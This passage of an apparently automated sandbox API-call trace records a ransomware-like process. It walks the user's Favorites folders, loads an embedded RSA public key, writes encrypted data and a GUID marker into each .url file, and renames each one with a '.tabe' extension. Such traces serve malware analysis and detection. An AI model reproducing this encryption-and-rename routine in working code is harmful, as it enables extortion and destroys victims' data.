dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.950] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=226) returned 1 [0126.950] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.951] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.951] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.952] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xe2, lpOverlapped=0x0) returned 1 [0126.952] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.952] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.952] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.952] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.953] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.953] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.953] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.953] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.953] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.953] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.953] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.953] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.953] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.953] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.953] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.953] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.953] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.953] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.954] CloseHandle (hObject=0x618) returned 1 [0126.954] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.tabe")) returned 1 [0126.955] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0126.955] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.956] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.956] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.956] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0126.956] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0126.956] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.956] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.956] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.956] PathFindFileNameW (pszPath="") returned="" [0126.956] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.957] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.957] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0126.957] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0126.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.957] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0126.957] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.958] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.958] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.959] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0126.959] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.959] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.959] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.959] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0126.960] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.960] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.960] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.960] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.960] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.960] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0126.960] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.960] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.960] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.960] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.960] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.960] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.961] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.961] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.961] CloseHandle (hObject=0x618) returned 1 [0126.961] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.tabe")) returned 1 [0126.963] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0126.963] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0126.963] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.963] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0126.963] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.964] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.965] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.965] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0126.966] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.966] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.966] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.966] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0126.966] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.966] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.966] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.966] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.966] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.967] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0126.967] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.967] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.967] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.967] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.967] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.967] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.967] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.967] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.967] CloseHandle (hObject=0x618) returned 1 [0126.968] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.tabe")) returned 1 [0126.969] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0126.969] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0126.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.969] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0126.969] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.970] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.970] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.971] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0126.971] lstrlenA (lpString="-----BEGIN PUBLIC 